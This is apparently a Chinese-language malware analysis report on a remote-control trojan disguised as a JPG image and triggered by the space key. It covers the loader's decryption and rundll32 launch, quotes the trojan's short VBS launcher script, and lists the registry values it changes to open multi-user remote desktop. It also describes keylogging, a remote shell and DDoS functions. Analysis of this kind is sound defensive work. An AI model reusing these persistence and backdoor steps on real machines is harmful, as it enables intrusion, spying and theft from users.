一、病毒簡介
該病毒是一個仿圖片的病毒,實質是一個遠程控制程式。用戶一旦打開查看此“圖片”,遠控程式就會在計算機後台悄然運行,為黑客打開便利之門。黑客可以 像控制自己電腦一樣控制中毒電腦,這可能會導致用戶隱私信息泄漏和虛擬財產被盜,甚至黑客可以利用其組建殭屍網路,對目標計算機進行攻擊。這個病毒的特點 是使用空格鍵為啟動快捷鍵,每按一次空格,就激活病毒程式運行,空格幽靈由此得名。病毒外觀如下圖,可以看出病毒外觀極具迷惑性。
二 樣本信息
2.1 母體信息
檔案名稱:YqbYbx.exe
類 型:EXE程式
大 小:52,224 位元組
檔案名稱:YqbYbx.jpg
類 型:jpg空白圖片
大 小:396,445 位元組
2.2 釋放檔案信息
檔案名稱:twain32.dll
類 型:DLL檔案
大 小:393,382 位元組
路 徑: %SystemRoot%\ twain32.dll
檔案名稱:.lnk
類 型:捷徑
大 小:424 位元組
路 徑:%開始選單目錄%\ .lnk 和 %我的文檔目錄%\ .lnk
檔案名稱: .vbs
類 型: vbs腳本檔案
大 小:139 位元組
路 徑:%我的文檔目錄%\ .lnk
2.3 記憶體Dump檔案信息
檔案名稱:Region00E40000-00E91000.dmp
類 型:PE記憶體dump檔案
大 小:331,776 位元組
三 母體行為分析
3.1 母體行為概述
該母體並沒有太大的危險性行為,其作用更貼切來說是作為一個Loder,作為病毒程式運行的墊腳石和對迷惑用戶感官判斷進行迷惑。
3.2 母體YqbYbx.exe行為分析
3.2.1 解密釋放出病毒DLL檔案:twain32.dll
a) 打開同資料夾下YqbYbx.jpg檔案。
b) 定位到檔案頭偏移 0xBF7 位置處,讀取 0x600A6 位元組,通過簡單的異解密出一個PE檔案數據。
c) 將這段數據保存成一個DLL檔案,路徑在C:\WINDOWS\twain32.dll。
d) 利用rundll32.exe帶參數 fuck007啟動twain32.dll
啟動格式:rundll32.exe "C:\WINDOWS\twain32.dll" fuck007
3.2.2 打開圖片YqbYbx.jpg迷惑用戶
a) 打開圖片YqbYbx.jpg(此圖片的檔案已經損壞,打開是一個空白的圖片)
四 釋放檔案行為分析
4.1 釋放檔案行為概述
釋放檔案有4個,一個DLL,兩個個捷徑和一個vbs程式。Vbs程式為病毒的再次啟動提供多一個路徑:通過快捷鍵啟動。DLL檔案就是在記憶體中生成病毒代碼,連線遠程控制伺服器端,和遠程控制伺服器端交流信息。
4.2 twain32.dll行為分析
4.2.1 再記憶體進行病毒代碼構造
運行的過程中,在記憶體分配了一個長度為 331776 位元組的空間,通過大量數據解密,在這個空間裡構造了一個DLL檔案結構,然後跳轉到這個結構中的代碼來運行(已經dump出來了在壓縮檔中),這個DLL檔案是一個遠控。並且,遠控伺服器端域名作為參數傳遞進去。
(針對遠控的功能在第五章:遠控功能分析)
4.3 .vbs行為分析
4.3.1 vbs腳本內容及其解析
SET objShell=Wscript.CreateObject("Wscript.Shell")
On error resume Next
iReturnCode=objShell.Run("rundll32.exe twain32.dll Run",0,TRUE)
此腳本就是利用rundll32.exe 來啟動twain32.dll,其執行的時機在下面.lnk檔案的分析里
4.4 .lnk行為分析
如下圖,是.lnk檔案的屬性,可以看出,這個捷徑可以隨著空格“space”啟動
5.1 遠控功能概述
這是一個功能比較完善的遠程控制客戶端,可以為伺服器端提供查看本機信息,查看本機註冊表,查看本地硬碟,上傳、下載檔案,運行程式,結束程式,及其3389遠程桌面多用戶登入,記錄鍵盤等一系列遠程功能。
5.2與伺服器端建立連線
(1) 查詢域名的IP位址xxx
(2) 建立TCP連線到xxx地址的1234連線埠
(3) 建立連線後傳送本機系統訊息進行上線確認
(關於獲取本機系統詳細信息在5.3)
5.3獲取本機系統詳細信息
(1) 通過HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
獲得CPU的主頻
(2) 通過HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 獲得CPU的型號
(3) 通過 API函式 GetSystemInfo 獲得系統版本信息
(4) GetDriveTypeA 檢測從A盤到Z盤是否為可用盤,若果是可用盤,
(5) GeDiskFreeSpaceExA 獲得每個盤的大小和可用空間
(6) 打包成一段數據包,傳送給伺服器端,作為上線信號
5.4記錄鍵盤訊息
(1) 接收到服務端的鍵盤訊息指令
(2) 通過自己建立一個鍵盤表(全部鍵盤信息)
(3) 不斷循環使用API函式GetKeyState測試每個鍵盤是否按下
(4) 將鍵盤信息保存到 “病毒路徑\keylog.dat” 檔案中
(5) 調用檔案上傳功能把keylog.dat上傳
(6) 刪除keylog.dat
5.5遠程命令行功能
(1) 接收到服務端的遠程命令行指令
(2) 後台運行cmd.exe
(3) 新建一個匿名管道,綁定到cmd.exe的輸入輸出
(4) 通過Tcp連線傳送和接收cmd命令,讓控制端自由操作
5.6查看進程列表功能,結束進程功能
(1) 接收到服務端的查看進程列表的功能
(2) 利用進程系統快照遍歷系統進程
(3) 傳送系統快照到伺服器
(4) 如果伺服器要求結束某進程,先使用(SeDebugPrivilege、LookupPrivilegeValueA、AdjustTokenPrivileges獲得系統的許可權)再用API函式TerminateProcess結束進程,如果無法結束,則調用調用系統的taskkill.exe /f /pid %d來結束進程。
5.7 DOS攻擊功能
(1) 接收到服務端的DDOS攻擊指令
(2) 接收到要攻擊的IP位址或網站
(3) 創建一個執行緒,死循環的訪問對應的網站或死循環的對IP位址發出連線邀請
(4) 直到收到了結束攻擊的指令,才結束剛才創建的攻擊進程。
5.8使電腦無法正常關機的功能
(1) 接收到服務端的使電腦無法正常關機的指令
(2) 使用API函式PrivilegeOpera設定SeShutdownPrivilege的屬性使得電腦無法正常關機。
(3) 直到收到解除指令才還原設定
5.9設定系統成為可以多用戶使用的3389連線埠遠程桌面
(1) 接收到伺服器端的設定遠程桌面的訊息
(2) 對如下註冊表進行操作
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon中
KeepRASConnections設定為REG_SZ值為1
HKLM\SYSTEM\CurrentControlSet\Control\TERMINAL SERVER中
fDenyTSConnections設定為REG_DWORD值為0
HKLM\SYSTEM\CurrentControlSet\control\terminal server\Licensing中
EnableConcurrentSessions設定為REG_DWORD值為1
HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters中
serviceDll設定為REG_EXPAND_SZ值為%SystemRoot%\system32\termsrvhack.dll
(3) 用檔案接收功能,接收termsrvhack.dll到檔案到C糟根目錄下
(termsrvhack.dll這是網上廣為流傳的用戶多用戶3389的DLL檔案)
(3) 複製c:\termsrvhack.dll到c:\windows\system32\dllcache\termsrvhack.dll
(4) 複製c:\termsrvhack.dll到c:\windows\system32\termsrvhack.dll
6.0 其他功能
其他遠控常見功能,如上傳下載檔案,遠程運行檔案,刪除檔案,清除系統記錄,查看系統服務,修改IE主頁等功能,不做說明。